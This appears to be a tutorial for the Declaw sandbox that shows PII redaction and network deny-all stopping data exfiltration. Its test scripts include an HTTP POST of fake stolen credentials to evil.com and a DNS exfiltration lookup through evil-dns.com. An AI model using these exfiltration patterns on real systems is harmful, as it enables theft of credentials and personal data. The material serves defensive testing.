What You’ll Learn
- How to configure
PIIConfig to scan and redact API keys, email addresses, SSNs, and credit card numbers
- Two independent layers of exfiltration prevention: PII redaction + network deny-all
- How to test TCP blocking, HTTP exfiltration, and DNS exfiltration
- How the MITM proxy redacts credentials from HTTP request bodies before forwarding
Prerequisites
- Declaw running locally or in the cloud (see Deployment)
DECLAW_API_KEY and DECLAW_DOMAIN set in your environment
This example is available in Python. TypeScript support coming soon.
Security Configuration
The example uses two independent layers of protection:
from declaw import Sandbox, SecurityPolicy, PIIConfig
policy = SecurityPolicy(
pii=PIIConfig(
enabled=True,
types=["email", "ssn", "credit_card", "api_key"],
action="redact",
),
)
sbx = Sandbox.create(
template="python",
timeout=300,
security=policy,
allow_internet_access=False, # Layer 2: deny all outbound
)
Layer 1 — PII redaction: Intercepts HTTP traffic and replaces detected credentials with placeholders like [REDACTED_EMAIL] and [REDACTED_API_KEY]. Active even if the network allow-list permits some outbound traffic.
Layer 2 — Network deny-all: Blocks all outbound TCP connections. Even if a PII type is not recognized, the data cannot leave the sandbox.
PII Types Explained
| Type | Pattern | Example |
|---|
email | user@domain.com patterns | john.doe@megacorp.com |
ssn | NNN-NN-NNNN format | 123-45-6789 |
credit_card | Common formats + Luhn check | 4111-1111-1111-1111 |
api_key | sk-*, AKIA*, bearer tokens | sk-proj-abc123def456 |
Code Walkthrough
1. The credential collection script
This script represents untrusted code that has access to credentials and PII:
CREDENTIAL_SCRIPT = """\
import json
credentials = {
"database": {
"host": "db.internal.company.com",
"user": "admin",
"password": "SuperSecret123!",
},
"api_keys": {
"openai": "sk-proj-abc123def456ghi789jkl012mno345pqr678",
"aws_access_key": "AKIAIOSFODNN7EXAMPLE",
},
"user_data": {
"email": "john.doe@megacorp.com",
"ssn": "123-45-6789",
"credit_card": "4111-1111-1111-1111",
},
}
print(json.dumps(credentials, indent=2))
print("Attempting to exfiltrate via network...")
"""
2. Three exfiltration attack vectors
The example tests three distinct exfiltration methods:
TCP connectivity (basic):
NET_TEST_SCRIPT = """\
import socket
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(("1.1.1.1", 80))
print("CONNECTED")
except Exception as e:
print(f"BLOCKED: {e}")
"""
HTTP exfiltration (simulated):
EXFIL_SCRIPT = """\
import socket, json
stolen = json.dumps({
"email": "john.doe@megacorp.com",
"ssn": "123-45-6789",
"api_key": "sk-proj-abc123def456ghi789jkl012mno345pqr678",
})
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect(("93.184.216.34", 80))
req = (
f"POST /steal HTTP/1.1\\r\\nHost: evil.com\\r\\n"
f"Content-Length: {len(stolen)}\\r\\n\\r\\n{stolen}"
)
s.sendall(req.encode())
print("EXFILTRATED")
except Exception as e:
print(f"BLOCKED: {e}")
"""
DNS exfiltration (encoding data in DNS queries):
DNS_EXFIL_SCRIPT = """\
import socket
try:
# Attempt DNS lookup encoding stolen data as a subdomain
result = socket.getaddrinfo("sk-proj-abc123.evil-dns.com", 80)
print(f"DNS_RESOLVED: {result[0][4]}")
except Exception as e:
print(f"DNS_BLOCKED: {e}")
"""
3. Run all tests
try:
sbx.files.write("/tmp/collect_creds.py", CREDENTIAL_SCRIPT)
sbx.commands.run("python3 /tmp/collect_creds.py")
for script_name, script in [
("net_test.py", NET_TEST_SCRIPT),
("exfil_test.py", EXFIL_SCRIPT),
("dns_exfil.py", DNS_EXFIL_SCRIPT),
]:
sbx.files.write(f"/tmp/{script_name}", script)
result = sbx.commands.run(f"python3 /tmp/{script_name}", timeout=15)
print(f"{script_name}: {result.stdout.strip()}")
finally:
sbx.kill()
Expected Output
--- Security Configuration ---
PII Redaction Policy:
enabled: True
types: ['email', 'ssn', 'credit_card', 'api_key']
action: redact
Network Policy:
allow_internet_access: False (deny all outbound)
--- Running Credential Collection Script ---
{
"database": {"host": "db.internal.company.com", "user": "admin", ...},
"api_keys": {"openai": "sk-proj-abc123..."},
"user_data": {"email": "john.doe@megacorp.com", "ssn": "123-45-6789", ...}
}
--- Exfiltration Attempts ---
Test 1: TCP connectivity to 1.1.1.1:80
Output: BLOCKED: [Errno 110] Connection timed out
[PASS] Outbound TCP blocked.
Test 2: HTTP exfiltration of stolen credentials
Output: BLOCKED: [Errno 110] Connection timed out
[PASS] HTTP exfiltration blocked.
Test 3: DNS exfiltration (encoding data in DNS queries)
Output: DNS_BLOCKED: [Errno -3] Temporary failure in name resolution
[PASS] DNS exfiltration blocked.
How PII Redaction Works (MITM Proxy)
When the guardrails service is active and network access is permitted (for example, to call an LLM API), the proxy intercepts and redacts credentials from HTTP traffic:
[Sandbox] --HTTP/HTTPS--> [Declaw Proxy] ---> [Internet]
│
PII Scanner
inspects all
request bodies
BEFORE: {"email": "john.doe@megacorp.com", "ssn": "123-45-6789"}
AFTER: {"email": "[REDACTED_EMAIL]", "ssn": "[REDACTED_SSN]"}
This means even if you allow outbound traffic to specific domains (for example, api.openai.com), credentials are stripped from outbound request bodies before they leave the sandbox.
Defense Layers Combined
Layer 1: Firecracker isolation
The sandbox has its own filesystem. Host credentials are never accessible.
Layer 2: PII redaction (requires guardrails service)
Credentials are stripped from any HTTP traffic that the sandbox sends
through the proxy, even to allowed domains.
Layer 3: Network deny-all
No outbound TCP or UDP connections are possible. The stripped traffic
cannot reach any destination.
For maximum protection, deploy all three layers. PII redaction alone stops credential leaks in HTTP traffic; network deny-all stops all other exfiltration channels.